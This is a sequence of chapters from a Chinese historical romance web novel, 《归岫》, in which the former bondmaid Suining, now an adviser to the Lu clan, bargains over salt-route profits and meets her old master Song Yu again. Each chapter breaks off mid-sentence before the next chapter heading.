“陆二公子怎的还随身带着侍妾?可是嫌老夫府里的奴婢伺候得不够周到?” “怎敢?”陆宣解释道,“只是晚生素来只由她随身侍奉着,倒不习惯让他人照顾了,陶将军莫要介怀。” “陆二公子是个讲究人,非我等粗人可比得。”陶庚蓦地放肆大笑,又端着酒碗走回主位去了。 陶庚放下酒碗,抬手屏退了场中的舞姬,一时丝竹声止,只听他高声道:“今日召诸君来此,还有一件大事......” 话音刚落,座中各士族子弟已开始左顾右盼,纷纷议论起来。 “自老夫受荆州刺史提拔以来,尽心尽力戍边十三载,却只得个封疆大吏的虚衔,如今屈居在这弹丸之地,逢战事要陷阵在前,论功行赏却由那些世家大族先占。他们得了封爵食禄的好处还不算,连这边地的利也要沾。” “这......”此番狂悖之言,碍于陆氏和宋氏的人在场,在座之人也不敢尽抒一番成见。 陶庚又举杯看向宋聿,道,“不知宋公子怎么看?” 宋聿正襟危坐,连个正眼也不曾给他,只道:“谋危社稷之举,恕在下不能苟同。” “难道宋公子只甘心做个小小谋臣?今日荆州翘楚与我同饮杯中酒,来日老夫发迹,在座皆是五侯七贵!” 此言一出,席间更是炸开了锅。 “陶将军早有反心不成?” “逆贼!安敢说出如此大逆不道之言来!” 居下位者,胆敢站出来公然驳斥的,早已被一剑抹喉了,如同一只被放了血的禽,倒在地上挣扎着,眼睁睁看着鲜血淋漓满地。 岁宁偏过头去,以袖掩面,不忍去看那副惨状。 宋聿厉声道:“今日诸君不愿与你合谋,便要将人杀尽吗?” 陶庚摔杯喝道:“既要功成,岂能不沾血?将相神仙,也由凡人做①,纵是杀尽又如何?” 宋聿方要起身离席,身后一把冷刃瞬间架在了他脖子上,他又被摁着坐回席上。 岁宁替他长叹了口气,真希望他此刻能少说几句。 俯仰之间,已是剑拔弩张,气氛焦灼,岁宁忙起身出来解围。 陆宣拍了拍她的手,示意她坐下,低声安抚道:“何钧很快就到,你别着急。” 岁宁侧目看他,小声回道:“我只拖住他,不能再由着他杀人了。” 说罢,便不顾他的阻拦,孤身走去场中,朝主位上的中年将领盈盈施了一礼。 “陶将军,我家公子说了,愿劝说陆氏一并归顺您,妾愿代他敬您一杯。” 陶庚眯着眼打量她,吩咐道:“上前来。” 岁宁缓步走上前去,低眉顺眼地为他捧上酒盏,柔声道:“陆氏,愿助将军功成。” 陶庚地视线却只落在她的面庞,此般柔情,令人禁不住去探究她面纱下的红妆,薄衫下的婀娜。 “陶将军,妾的容颜,只有我家公子见得。”岁宁拦住了他,乌睫垂下,细声细气道,“将军连妾敬的酒都不愿喝,又何谈一睹妾的真容?” 陶庚的目光在她那殷红的蔻丹上停留片刻,质问道:“酒里,不会掺了什么毒吧?” 岁宁眸光微怔,又含笑道:“怎会?” 她偷瞄了一眼席间,她那素来镇定自若的上司差点被她的擅作主张气得晕厥过去,至于另一位宋公子,只垂着眸,一言不发。自己好心拖延保他性命,他却连装模作样也不肯,就差把 12. 落花逢君,应是旧时相识 《归岫》全本免费阅读 回到建康城时,陆府的玉兰花已经落尽了。萧瑟秋风穿堂过,庭中满地的香消玉殒。 恰是这百花凋谢时,晚菊绽放。于是陆府设下赏菊宴,开琼筵邀京城名士,坐花清谈。 苑下碎碎花丛之间,岁宁独自一人彳亍在庭前,眸光淡淡,不着喜悲。陆宣同往常一样,会来院中寻她,岁宁只抬头看了他一眼,没有远迎,连近迎也省去了。 陆宣携了壶薄酒来,问她,“怎么独自在这儿?” 岁宁径自坐在树下的石凳上,回道:“躲个清净。” 陆宣又说:“此次设宴,许多宾客慕名而来,却都见不着你。” “有什么可见的?世家贵族的宴饮向来无趣得很。”岁宁揉了揉疲乏的眼,困倦地说道,“今日还邀了些北方世家来,难不成去听南人骂伧,北人骂貉?” 陆宣朗声笑道:“我亦是如此想的,可惜父兄不如何赞同。还是你说的话,最得我心。” 岁宁浅笑道:“所以你这是上我这儿躲清闲来了?” “难得清闲。”他斟了一小杯酒,推到了岁宁面前,“苍梧竹叶青,宋府的人送来的,可要尝尝?” 岁宁凝视着杯中醇香的酒水,微不可察地叹了口气,又把杯子推回陆宣身前,“快入冬了,我便不喝酒了,省得又大病一场。” 她又忍不住问:“宋府,怎的会派人来?” “是长兄邀请的,他同宋氏的长公子,还算谈得来。”陆宣又话锋一转,“不过我倒觉着,他是为了荆南商道的事,兴师问罪而来。” “是么?”岁宁垂着眸,一副煞有介事的模样,“白盐的事,还没谈妥?” 陆宣无可奈何道:“原先的商道被兵乱毁了,如今只能走荆南的商道,却又捏在了宋氏手里。” 岁宁问:“他给陆氏施压了?” 陆宣摇摇头,“长兄想把白盐的管权让回去,可是......这几年米粟收成不好,养部曲耗钱,收治流民也要钱,若拿不到盐利,今年的亏空,怕是难以补上。” “二公子这是在同我倒苦水?” “万般忧愁事,唯有你能替我排解一二。” 她拂去身上的落花,起身将衣裳上的褶皱抚平,行至院门前,同他说道,“走吧,去听听长公子有何高见。” 前院热闹得紧,陆尚书还特命下人将府里开得最好的菊花都移至盆中,搬到了这里。女眷结伴着采花,要制花茶和香料。男子多围聚在亭下,谈老庄,论玄学,或道风月无边。 更有甚者,大抵是分食了五石散,褒衣博带,倚在席间醉生梦死。 岁宁忙举起丝扇遮住视线,低着头匆忙掠过。 无论是哪一方,岁宁都融入不了。 途中遇王家的两位女公子采花扑蝶,三五个女郎相伴左右,在菊花丛中嬉戏玩闹。正值二八年华,年轻的面孔稚气未褪,略显憨态,甚是可爱。 连岁宁也不禁感慨,“珠圆玉润,何不可怜?” 陆宣问她:“你想同她们一道?” 岁宁摇了摇头,“我同她们不一样的。” 记事以来,她从未有过天真烂漫的光景。早在童年,她就已经在这苍凉的世道中摸爬滚打,苟且求生了。 她又说,“你看,我险些丢了命,才换取了今日的美名,可旁人只需一个高高在上的身份,便能得到善待。什么都不用做,财帛与美言便会倾斜于她。” 陆宣笑道:“羡慕别人做什么?你若想要,我也能给你。” “不一样的。”岁宁喃喃道。 “有何不同?” 岁宁直视着他的眼睛,平静地说道:“你不会懂的。” 贵者愈贵,贫者愈贫。她不羡慕那些锦衣玉食的人,只是常常在想,这世道不该如此。 陆宣生来锦衣玉食,自然不会懂她如今为何而愁。 他自顾自地说:“此次宴上,王家还带了女眷,说不定,是为了同陆氏结姻亲而来?” “怎的?”岁宁睨了他一眼,“陆二公子不愿?” 陆宣只笑他们痴人说梦,“我父兄可无意同北人结亲。” “可江东士族也被你拒了。”岁宁毫不留情地戳穿了他,“陆二公子已然二十有三,仍不愿婚娶,怕不是要青灯古佛相伴?” “倘若......”陆宣小心翼翼地问道,“我是说倘若,我真的娶了妻,你又当如何?” 岁宁轻笑一声,回答道:“届时公子借着联姻多了分助力,往后青云直上,我自然也能少操劳些。” 像她这般心思玲珑的人,分明什么都懂得。 陆宣索性闭了嘴,不再说话,此后,兴许也不会再问了。 岁宁沿着芳径,继续往凉亭的方向走。这府上的花,总是一季一换。可她依稀记起,某个地方的景致,四季常青。 一位白衣公子持一柄紫竹缂丝刀扇,正在庭中与人闲聊。陆氏长公子陆宜,字灵远,世人皆赞他是瑰姿艳逸,列松如翠的谦谦君子。而他身旁那位温文尔雅的公子,乃是王司徒次子王忱。 陆宣步入亭中向二人行了礼,又一阵寒喧,才切入正题。 “长兄先前同宋氏谈得如何了?” 陆灵远道:“尚未谈拢,宋公子如今在临榆轩候着。” 他又问:“不知长兄现下作何想?” 陆灵远便直言道:“交还盐利,送他一份人情,总比两家结仇好得多。” 陆宣不悦道:“将盐利拱手让人,岂不是让我白忙活一场?” 陆灵远一挥袂,摆了摆手,“既与我有分歧,你自去同他商讨吧。” 陆宣道了声告辞,便携岁宁往临榆轩去了。 王忱观陆宣身侧身姿纤细的女子,垂霄髻上饰着珠玉钗环,垂鬓与发上珠穗一步一摇晃,铅华淡淡,比起京中容貌绮丽的世家女子,虽略显寡淡,却自有如淡雪一般的风流雅韵,又像是被遗落在秋风中的一枝孤芳。 待二人走远了,王忱才开口询问:“贤兄,敢问方才那位女郎,可是贵府的女公子?” 陆灵远手中紫竹刀扇一挥,不轻不重地打在王忱肩上,笑骂道:“一场赏菊宴,你还真的相看上了?” 王忱不死心地说道:“两姓结谊有何不好?家父也正有此意。” 陆灵远扇着扇儿,幽幽笑道:“怕是要教王公子失望了。那位 13. 青山似茧,只道风月误人。 《归岫》全本免费阅读 宋府那间院落的竹柏依旧常青。 探出墙头的枝柯落下大片浓荫,笼罩立于墙下的身影,竹柏的碎影在他眉眼流动。他亦仰头望着透过枝叶缝隙的光,经年累月的思念,落在了一个盛满泪的眼眶。 宋聿以为自己早该忘了,可是那枚褪色的平安符悬于窗前多年,那人不曾带走的玉印被摩挲得名字都模糊不清。 就好似胸中长了条即将愈合,却又开始发痒的疤。 他曾沿着许多流民的印迹去寻,怕她死于兵荒马乱的郊野,怕她寻不到山河辽阔天地自由,却唯独没有想过,她总归还是留在了建康城里。 几日前在陆府见到她,云鬓花颜,早不似当初的瘦骨伶仃了。听旁人说,那是历阳陈氏的女公子,世人总传她与陆宣之间种种不清不楚的关系。 她原是成了陆氏的幕僚,不知情者,还以为她成了豢养在后院的姬妾。 原来在建康城中处处算计宋氏的是她,在夷陵给宋氏使绊子的也是她,可是在陶府宴上设法保下宋聿的也是她。 宋聿早该知晓她柔顺媚上的面孔下,藏着颗大逆不道的野心,知道她不甘折辱在一方狭窄的庭院里。 所幸,她如今独当一面,再也不必狐假虎威了。 就这般沿着院墙走着,不知不觉到了栖春居。 周其清正于庭前悠然踱步,见了宋聿,不由笑道:“今日又来喝茶吗?” 宋聿恭敬向他施了一礼,道:“劳烦先生今日再煮一炉茶了。” 周其清问:“近来又有忧心事?” 宋聿垂眸道:“我于陆府,见了位故人。” 那位道长豁然开朗,笑问:“莫不是当年那位女郎?” 宋聿惊诧地看了他一眼,道:“先生当真料事如神。” “除了她,还有谁值得你称作故人?” 闻言,他静默不语。 周其清又道:“我初见她时,便觉得,她非下尘之人。” 宋聿怔了片刻,才道:“她如今是陆氏的人,倒是在建康城混得风生水起了。” 周其清扫了些枯叶来引火,回头又见他坐在檐下垂头丧气。 “既已得见,她又安好,何故烦忧?” 如今江东士族与北方世家,可谓水火不容。宋聿从未想过,会以此立场再相见。 他道:“如今宋氏与陆氏两家的关系,先生是知道的……” “那又何妨?”周其清一面扇着炉火,一面云淡风轻地笑着,“是你们两家争的利,同她又有什么关系?” “没什么关系么?”宋聿苦笑,“您的学生,可是在她的手底下吃过不少苦头。” 话虽如此,周其清却看穿了他的心思。 “你在怨她吗?是因为她帮着陆氏对付你,还是因为当年她弃你而去?” 宋聿没有说话,只看向院墙外的青山,天边浮云尚不曾褪尽,却觉得那沉静的翠微似茧一般将人裹挟,不知前路,更不见山外又山青。 周其清倒了杯热茶,推至他面前,哑着嗓子悠悠说道:“莫要怨她,当年之事,是我教她这般做的。” “为何?”宋聿盯着桌上冒着热气的茶,有些不可思议,“先生为何要如此?” “不若如此,你当年会走出常青院么?”周其清道,“你如今能在建康城乃至荆州占一席之地么?” 宋聿一时哑然。 那位道长又说道:“今日之果,恰证明这一步棋,我走对了,不是么?” 容雪院的簌簌落樱与她的憔悴堆积了满地,岁宁整个人裹在裘衣里,提笔行书,身旁茶炉滚沸声中,时不时夹杂几声低咳。 “今年似乎更冷些,也难怪你病得这般早。” 陆宣在院里坐了许久,却踟蹰着,许多关于她的秘密都不曾问出口。 岁宁搁了笔,望向庭中枯叶,“说不定吴地要闹寒灾,去年的存粮,还够吗?” “若是边地不起战事,兴许还能撑过今年。” “只剩这些了么......” “盐业的事,许是谈不拢了。” “宋氏依旧不愿松口吗?” 陆宣没回答,只取出个嵌着螺钿的小漆盒打开,置于桌案,一时流光溢彩,榆钱大小的数粒海珠整整齐齐地码在盒中。 岁宁捏起一颗玉润的珍珠放在阳光下打量,眯着眼笑道:“二公子可不会有闲心送我这些东西。” “那不妨猜猜,是谁送你的?” 岁宁不解地看向陆宣,他平日里可不会像这般拐弯抹角。 “宋氏的人。”他神色如旧,却又好奇地察言观色起来,“听闻你病了,送了盒珍珠给你入药。” “成色这么好的珍珠,拿来磨粉入药?”岁宁嗤笑了一声,又将那珍珠扔了回去。 她提了笔,又继续伏案。似是不屑于这份贵重的礼,又像是不愿苟同这般奢侈的行径。 本着已经放弃这分利的想法,陆宣才将忍了许久的话宣之于口:“宋绍君,他指名道姓要见你,说只愿与你谈。” 回应他的,是她笔尖洇在纸上的大片墨迹,以及长久的沉默。 风吹落叶的声音好似在耳边切切察察的私语。 陆宣攥着拳头,缄默了许久,才故作不经意地提起,“这位宋公子对你的态度,似乎不一般。” 岁宁早该料到宋聿会想见她,也该想到陆宣总有一天会问起。 “过往之事,二公子以前从不会问起。”她撤下洇墨的生宣,随手铺开一张素洁如新的纸页。 陆宣瞧她眼中平淡无波,又继续问道:“如今呢?你可想说?” 岁宁理了理额发,淡笑着看向他:“我与那位宋公子的事么?” “当真有......旧情?” 岁宁放下笔,将手拢进袖中,正襟危坐,道:“我曾是宋府的奴婢,初遇二公子时,怕被当作逃奴打死,所以不敢说。于他只有主仆之谊,仅此而已,没什么好遮掩的。” 陆宣又问:“若单单只是主仆,他又为何执着于见你?” 她满不在意地笑笑:“我如何知晓他的心思?二公子怎么不去问他呢?” 陆宣叹息道:“去了,宋府闭门谢客。” 可是陆宣太过清楚,宋氏的长公子为何会记挂一个女子。 他又说:“坊间有传言,‘宋氏有伧奴,善辞赋,好文 14. 春山朗朗,回首故人亭亭 《归岫》全本免费阅读 咸和四年冬,大寒。 诸夏地势自北向南而倾,风雪如寒刃过境,淮水冰封绵延百里,万里霜国千里无垠。因饥寒死去的灾民多如雪片,难以数清。 然而朱门里的人不看这脚下,不看这世间。 他们围着火炉,烤着鹿肉,聊陆氏的三公子在赌坊输了多少银钱,聊宋府的上任管事是否真的是宋绍君杀的。最后聊到徐家善妒的杨夫人,因滑胎伤了身子,没熬过这个冬日。 众人嗟乎:“悲矣!” 又有人说:“言若螽斯,不妒忌,则子孙众多矣。①既善妒,难怪无子无福。” 于是众人又点头称:“是哉是哉。” 他们也同样不见,某位儒生提笔的手如今又要操兵器,领着一众流民兵迎着风雪北上戍疆。染了重病的幕僚倚在榻上,亲自将济灾的每一笔账都算清。至于那位名声不怎么好的公子,也同族中长辈亲赴民间救灾。 无论是染了伤寒蜷居在榻上的病人,还是因一场寒灾散去了许多家财的贵公子,都觉得这个寒冬无比漫长。 待到开春回暖时,一众人已经心力交瘁了。 岁宁尚不知怀着怎样的心情去见他,那位故人,便已经亲自上门来了。 可故人不曾怨怼她几次三番的算计,却在这久别重逢的时日,珍而重之地询问她的名字。 于是她用指尖沾着茶水,在案上一笔一画地写下,“岁宁,便是岁岁安宁。这二字,你曾见过的。” 像初见那般,又早不似初见了。 宋聿哑然道:“我记得的。” 她也记得当年,手中砖块砸下去的时候,没有半分犹豫。 “公子额上落了疤吗?”岁宁注视着他的舒眉朗目,忍不住伸手去解他的抹额。 “没有。”宋聿往后退了半步,拦下了她不安分的手。 “那便好......”岁宁轻晃着杯中茶水,一片玉兰花瓣不偏不倚地落入了杯里,她平静地将花瓣捏了出去,又轻抿一口梨茶。 见他半晌不应,岁宁便又说了句:“当真是对不住......”她心中当真有愧吗?不多,仅有那么一点吧。 可她不是宋聿那样的人,自然会容许自己心中有愧。 她口中言语淡漠又疏离,“我还以为像公子这般薄情之人,记挂不了我几年。” 当初是谁薄情撇下他一走了之?任他倒在雪里,连一片衣角也抓不到。听她说自己薄情,宋聿再度开口,竟一改往日的柔和,“那么你呢?当时分明都跑了,如今又成了陆氏的家奴吗?” “家奴?”这二字忽有一瞬刺痛了她的心,“原来宋公子一直都是这样看我的啊......” “我并非此意......” 可岁宁不听他其后的解释,自顾自起身在院中来回踱步。 “曾经在常青院,公子以为,我是你的人。夫人也以为,我是她的人。可我,为何不能只是我自己呢?” 宋聿听她说得无比认真,看她一步步把曾经折在冰天雪地里的背脊直起。 宋聿不问眼前人为何相望故作不相识,为何宋府与陆府只隔了城南到城北的距离,她却从不来见他一面。他只问:“那么你又为何骗我,许下经年之约?” “我一个庶人,无法学着君子践诺,更不敢向着贵人行善。我说的话,怎么可信?”岁宁唇角挂着笑,眼中却只剩薄情,“那时的我,只想活下去。” “如今你过得可好?你可愿意随我离开?”宋聿瞧见她眼中的憔悴,倒一点儿也生不起气来。 他不像从前那么好诓骗了。 “公子死了这条心吧。陆宣于我有知遇之恩,我与他之间,只容得下共同利益。倘有一日,我不再忠于他,只会死得比流民更惨。”她立在高大的玉兰树下,回头看他,“这是我自己选的路,怨不得旁人。” “你今日来见我,是为叙旧而来吗?”她是以陆府幕僚的身份同他交涉,不愿叙那主仆旧情了。 宋聿移目不去看她,只道:“你更似从前,只谈交易,那么条件呢?” 岁宁有些惊讶,“这个条件,自然由公子来提。” 他问:“若我的条件与你有关呢?” 岁宁却轻笑着,“公子显然不是会趁人之危的人。” “能否先告诉我,以陆府的家业,陆宣为何执着于这分盐利?” “他要养兵。” 宋聿一阵思量,道:“他野心倒是不小?若是出了什么谋乱之事,想来我也逃不了干系。” “这几年大大小小的叛乱,公子应当比我清楚。”岁宁缓步移至案前坐下,伸手攥住了他的外袍,细细分析道,“流民兵可用,流民帅却不可信,所以他才揽了这份世家子弟都看不上的差事。陆宣那样的人,怎会起谋逆之心呢?” 他的生母便是死于三年前那场流民帅反叛。 “你自是偏向他的。”宋聿盯着她的手,轻笑一声,不动声色地将外袍抽了回来。 岁宁满眼含笑看向宋聿,轻言细语道:“若公子愿同陆氏合作,偏向你也未尝不可。” 此言一出,宋聿被茶水呛得直咳嗽,“现在的谋士,都像你这般没底线吗?”竟想着事二主。 岁宁不理会他的质疑,追问道:“公子意下如何?” “宋氏可以分给陆氏两成利,不过——需要你答应我一件事。” “那答应你两件事呢?可否多一成?” “做梦。”他眼角挂着淡淡的笑,杀价却是毫不留情,“两件事,两成利。” 怎么还有这般还价的?岁宁赶忙闭了嘴。 宋聿又补充道:“第二件事,算作是你弄翻我茶船的折损。” 岁宁低声道:“这事,你怪陆延生去啊。” 宋聿问:“你没在背后帮他出力吗?” “好好好,我答应你,可别再加价了。”岁宁一时赧然,没再辩驳了。 宋聿递给她一份请柬,道:“三月初十,府中设了场春日小宴。荆南的过关文书,届时你亲自来宋府取。” “多谢公子。”岁宁低头接过那份请柬,没想到这么轻易便谈妥了,他甚至从未出言刁难。她松了一口气,心中却有淡淡的失望翻涌。 宋聿起身拢了拢袖,理着被她抓皱的袖角,又回头看了她一眼。 岁宁依旧坐在原处,只问:“公子要走了吗?” 宋聿背过身去,微不可察地叹了口气:“分让万两盐利,才能见你一面。当真是比净山寺的佛还难请。” 岁宁望着他的背影,一言未发。不去留贵客,也不送君归。 15. 淮水祓禊,愿卿弗病去灾 《归岫》全本免费阅读 春江水暖,溪清草丰。 岁宁坐在河畔,看那些互诉衷肠的伴侣折柳相赠。可她便只是看着,也不曾替宋聿去折一枝。 绵密的细草穿过指缝,岁宁看着他撩起宽大的袖子,躬身在河中汲了一罐水来,又向她走近。 “把手伸出来。” “做什么?”岁宁仰头看他。 “怕你受凉,还是不必下到河里了。”宋聿便牵起她的手,取陶罐中的水替她濯洗。 冰凉的河水淌在她的掌心,最后又从指缝一滴一滴漏干。 岁宁侧过头,听他低眉沉吟:“但愿巳日淮水,能为卿祓除不祥,惟祈此生,弗病去灾。” 说完这些,宋聿又朝她笑了笑:“算是还了你当年为我求平安的那份情。” 他像是在计较曾经的那句话,在某一个除夕夜里,她说,我不愿承公子的情。 岁宁觉得喉中苦涩,垂眸盯着他的手,声音低得比春风还轻:“公子的袖袍沾湿了。” 宋聿摇摇头,“不打紧。” “对不起。”岁宁依旧小声说着,若说世上唯一一个她不愿有所亏欠的人,便是眼前此人了。 他似有些不悦,“怎的又说这样的话?” 她说,“如果公子要把我当作牵制陆氏的棋子的话......我亦无怨。” 宋聿只把这当作一句玩笑话,“你有几分真心,能让我信你?” 岁宁紧紧攥着裙角不言语,又听他言语温和:“江东与北人的恩怨与你无甚关系,陆宣不该把你扯进来。至于你站在哪一方,不重要。” 权贵之争,从来不是一个人能左右的。 岁宁又问:“在公子心里,我站哪一方都不重要吗?” 宋聿满不在意地笑笑:“你从来只为自己所谋,不是么?那些为陆氏谋利的话,骗骗陆宣就好,别把自己也骗进去了。” 她喃喃道:“原来公子这么了解我啊......” “向来了解,你不知道罢了。”宋聿扶她起身,同她道,“不为我折一枝柳吗?” 岁宁不为所动,问他:“上巳折柳,有何寓意?” 宋聿同她停在柳树下,一字一句认真地说:“代表......你舍不下我。” 岁宁望着满树飘摇的柳枝,却是摇了摇头,“届时自会有良人替公子去折。” 他没有失望,也没有恼怒,依旧是笑着:“从前骗我说,每一年冬至都会陪我,如今倒是连骗也不愿骗了。” 岁宁眼神诚恳,道:“公子不是希望我坦诚些么?” 宋聿怔了片刻,才又缓缓开口:“罢了,几日后还会相见,倒也不算离别。” 但见青山远,脚下蔓草覆。同行的男女偶尔撩拨几句经年旧事,相伴着,却又走上不同的归途。 暖阳略浮景而西沉,转眼已是日暮。 岁宁遥遥见着簇拥的玉兰枝下,立着个如松如玉的人影,着素色锦袍,执一柄紫竹缂丝扇。陆氏的长公子陆灵远,似是刻意在她回容雪院的必经之路候着。 岁宁走上前去,同他施礼,道:“长公子这是在等我?” 陆灵远朝她微微颔首,淡笑道:“女郎聪慧,应该能猜到,陆某是为延生的事而来。” “长公子请说。” “家父近日在替他商议婚事,只是他性子倔了些,不肯听从族中安排。陆某担心,若是家中逼迫,指不定他隔日便带兵跑了。”陆灵远有些头疼,却又娓娓道来,“只有你说的话,他才会听。” 岁宁为难地说道:“长公子太高看我了,我只说他愿意听的话罢了。” 陆灵远再三恳请:“不论如何,还请你多劝劝他。” 岁宁无奈叹道:“我亦难保证,只能尽力而为。” “劳烦女郎了。”他执扇朝岁宁揖了一揖,侧身为她让出道来,目送她走远。 陆二公子平日里休憩的鸣鹤轩,今日成了笙歌曼舞的坊曲之地。遗珥坠簪,杯盘狼藉。酒坛滚落,未倒尽的酒水洒了一地。 岁宁穿过满屋的狼藉,到临水的轩榭去寻他。 廊下的丝竹声止了,乐师也倦了。唯有两个舞姬尚适逢在陆宣身侧,他早已抱着酒壶饮得酩酊大醉,斜倚在凭几上不省人事。 岁宁没忍住,上前去轻轻踢了他一脚。 “你来了?”陆宣嘴角扬起一抹笑,想伸手捉住她的脚踝。岁宁毫不疼惜地踩了下去,惹得他痛呼出声。 “二公子不先瞧瞧我是谁么?” 陆宣一面揉着手腕,一面笑道:“除了你,还有谁敢这么对我?” “二公子如今都醉得不成人样了。”岁宁怒其不争,劝他道,“纵是年轻,也不该如此放浪形骸,就不怕旁人知晓了,到朝中参你一本?” 陆宣扔了酒壶,拍案道:“怕他们作甚!” “连陆尚书和长公子,你都不怕了吗?” 把他父兄二人搬出来,陆宣登时清明了。他坐直起身,厉声问道:“谁叫你来劝我的?” “长公子。”岁宁道,“他说,二公子近日烦闷,特让我来劝解你。” 陆宣看着她,“我因何苦闷,你当真不知么?” 岁宁笑他:“曾平定四方,声震寰宇的陆二公子,也会困于儿女情长吗?” 陆宣惆怅叹道:“婚姻大事,父亲早有安排,哪里由得了我选。” 岁宁暗讷,当真是一群不知疾苦的人,成天到晚因这些琐事闹得要死不活。她掰着手指替他数着,“顾氏,朱氏,张氏,适龄的女子这么多,哪里会没得选?” 陆宣嗤笑一声,“选她们?还不如选你。” 岁宁似笑非笑,面色已然沉了下来:“二公子是头脑发昏了?还是在做梦呢?” 陆宣笑骂道:“没良心的,当初就该把你送到王氏去。” 岁宁背过身去,冷哼一声:“如今送去也不迟,我不过一个被你送来送去的物件。” 他又说:“可你实在有趣得紧,我舍不得。” “陆延生,那位要嫁给你的女子,当真是可怜。”岁宁垂着眸,居高临下地看着他,觉得可笑又可悲。 眼前人的一言一语如刀剜心般,令他再也笑不出来了。 岁宁转而看向一旁的舞姬和乐师,自掏腰包给他们分了赏钱,吩咐道:“天色已晚,不必再奏舞乐,几位先回去吧。” 一行人走远了,水榭又归于寂静。 陆宣挑了挑眉,心中略有不满:“把人都叫走了,难不成你留下来陪我?” 岁宁并不理会他的诨话,平静回道:“不过想让你静一静。” 陆宣摇摇晃晃地起身,凭轩望着水池中的月影。有的人似水中月,旁人若是想得到她,只会将那月亮揽得破碎。是以只能远观,而不可占为己有。 岁宁凭栏坐下,笑问:“人都走了,二公子如今可以说说,到底是哪家的女公子令你牵肠挂肚这么多年?” 陆宣眸光颤了颤,却未倾吐一言,只是常年挂在腰间珠串的细绳陡然 16. 净山路远,佛前却乞真心 《归岫》全本免费阅读 “这便是——公子要我办的事吗?” “不若如何?” 岁宁难免讶异,分明暗地里争得你死我活,明面上却只揪着些琐事。她倒想在这府里窥些有意思的秘密,奈何身边人亦步亦趋。 她又试探道:“公子是否知晓,陆氏在宋府安插的细作?” 宋聿不以为意,“你不就是么?” “......”岁宁略恼,“那除我之外的呢?” 宋聿轻笑一声,悄言道:“早就是死人了。” 岁宁回首看他,此人依旧一笑如春,声若温玉,却令人不寒而栗。 从前,他是害怕死人的。 当年之事总归还是在他心中留下了芥蒂。 于是岁宁又清醒地意识到,他已不复年少,绝无可能再将一颗纯粹的真心捧献于她。 能在这建康城,乃至荆州占有一席之地的人,怎可能心慈手软,又怎会毫无野心。 姜夫人由侍女搀扶着走过廊桥,与一众年轻女郎于檐下赏花。宋聿与她遥遥对视一眼,唤岁宁道:“走吧。” 岁宁问:“到哪儿去?” 宋聿道:“去寻个清净地,省得有人扰了你的兴致。” 看到廊桥上的紫衣妇人,岁宁顿时明白了他的言下之意。看来这么些年,他的芥蒂从未消减。 岁宁调笑道:“指不定她身边有公子未来的新妇,不亲自去相看相看?” 宋聿面上瞧不出什么情绪,只道:“既如此,叫你来有何用?” 岁宁不敢答话,默默跟在他身后,沿着曲折的石桥穿过满池凤荷,来到幽篁掩映的竹亭之中。 尘世徒繁华,唯有此处清幽。 宋聿在琴桌前落座,抬眸看她。 “今日不谈交易,可否?” 岁宁反问:“若无交易,我为何要来?” 宋聿低眉信手抚着琴弦,一语未发,似是在替她惋惜。 思及那日的泠泠琴音,岁宁问他:“那日公子是否也在揽月坊?” 宋聿神色淡然,“猜都猜到了,何必问?” “我......” 最终那些有关立场与利益的话都未说出口,她便静坐在宋聿身侧,听他抚琴。 可琴声止息了,他非但不弹琴,反而转头看她,“若是不为陆宣办事的话,你想要什么?” 于是她答:“荆南商道的过关文书。” 她如实说了,宋聿却笑她:“这么沉不住气啊?” 他又认真地问了一遍:“我问的是,你自己,想要什么?” 岁宁沉默着,想着那些大逆不道的话。 想要掠夺于民的权贵都死尽,想要替世间平凡人一条生路,这些,可以说吗? 可她做不到这些,如今都还在权贵手底下过活。 岁宁叹了口气,道:“公子不必再为我费心思了,待此间事了,我只想早些离开这个是非之地。” 宋聿不免笑她几分天真,既同陆氏沾染,竟还想着全身而退。 “能否告诉我,你当初怎么同陆宣扯上了关系?” 岁宁摇摇头,“公子不让我问经年旧事,可否也别再问了?” 那些个旧忆,无论怎么去想,也只余酸涩了。 “随我回常青院吧。”宋聿拂袖起身,紧接着便有仆从过来将古琴收入避尘袋中。 “去取你想要的东西。” 暖风轻拂,石栏外竹影摇曳,此处春色正好。 沿着一路树荫,踏过染苔的青石板,记忆中那个四季常青的院落渐渐近了。只是再没有堆积的落叶与纤尘,婢子们端着水盆,提着扫帚来来往往,将常青院里外收拾得纤尘不染。 这座院子同它的主人一样,添了几分人气,不再似从前的冷清。 她立在门前许久,直至身边人提醒,“怎么不进去?莫不是近乡情怯?” 岁宁横他一眼,他脸上的笑意却更甚。 藏满经卷文书的书房,除了略显陈旧的木案与柜子,其余未曾改变。 过关文书展于书案上,只是尚未加印。 某人的目光,一旦落在了那份文书上,就再也没移开过。 宋聿从匣中取了方玉印来,慢条斯理地蘸了印泥,又推着岁宁到案前坐下,执她的手,郑重落下一方红印,遂即笑道:“倒是我疏忽,怎的还劳烦女郎亲自来钤印?” 岁宁未来得及舒口气,便又听他说:“这两成利,是看在你的面子上给的。” “你想要的,我给你了。那你知道,我想要什么吗?” 她侧过身,避开他的目光,“我怎会知晓公子想要什么?” 闻言,宋聿眼中哀怨再也藏不住,“还真是半分诚心也无。” 同她谈什么真心呢,倒是财帛更切实际些。 “公子不说,我如何会懂?” 宋聿沉吟:“若凡事都皆宣之于口,便了无意趣。” 可岁宁不欲同他打什么哑谜。 合上文书,略过他行至窗前,见悬着一对平安符,其下系上了新的玉环。清风吹拂,撞玉声鸣。其中一枚晒得褪了色,岁宁尚记得这件旧物。 “既有人替公子求来了新的平安符,从前那个早已陈旧,扔了吧。”她轻声开口,声音却沙哑了。 “什么别人求的?”宋聿快步走了过来,难掩不满地宣泄,“那是我去求的,替你求的!” “原来如此。”岁宁怔愣少时,却又归于平静。 “原来我这样一个骗子,也值得公子的诚心叩首啊。” 宋聿神色淡然,“不值。我自然是走上去的。” 岁宁略略偏过脸来,总觉春风迷了眼,连眼前人的模样都瞧不清了。岁宁伸出手,不顾他阻拦扯下了抹额,再遮不住他额上的新伤。 “假话。” 宋聿拂开她的手,背过身去,低声道:“我只求一个问心无愧罢了。” “因何对我有愧?” “你那么恨权贵,那么恨宋氏,我总该做些什么......” “债不能消,恨不能泯,公子又代他们愧疚什么?” 宋聿扯过她手中的抹额,重新系回头上,苦笑道:“那便当我年少痴傻,不必管我做了什么。” “我今日在宋府待得够久了......” 宋聿没让她继续说下去,将那份文书交到她手中,“我的诚意,已经在这里了。” “岁宁,你可愿意留下?” “一辈子躲在你身后,一辈子藏在常青院里吗?我不愿如此。”岁宁后退了一步,“再者,我与公子所求之物,终究是不同的。” “你所求何物?” 她始终逃避这个问题,“同样的话,公子问了许多遍了。” “你害怕陆宣发难?” “无论是在战场还是闾里,我都敬重 17. 风吹杨柳絮,故人何所依 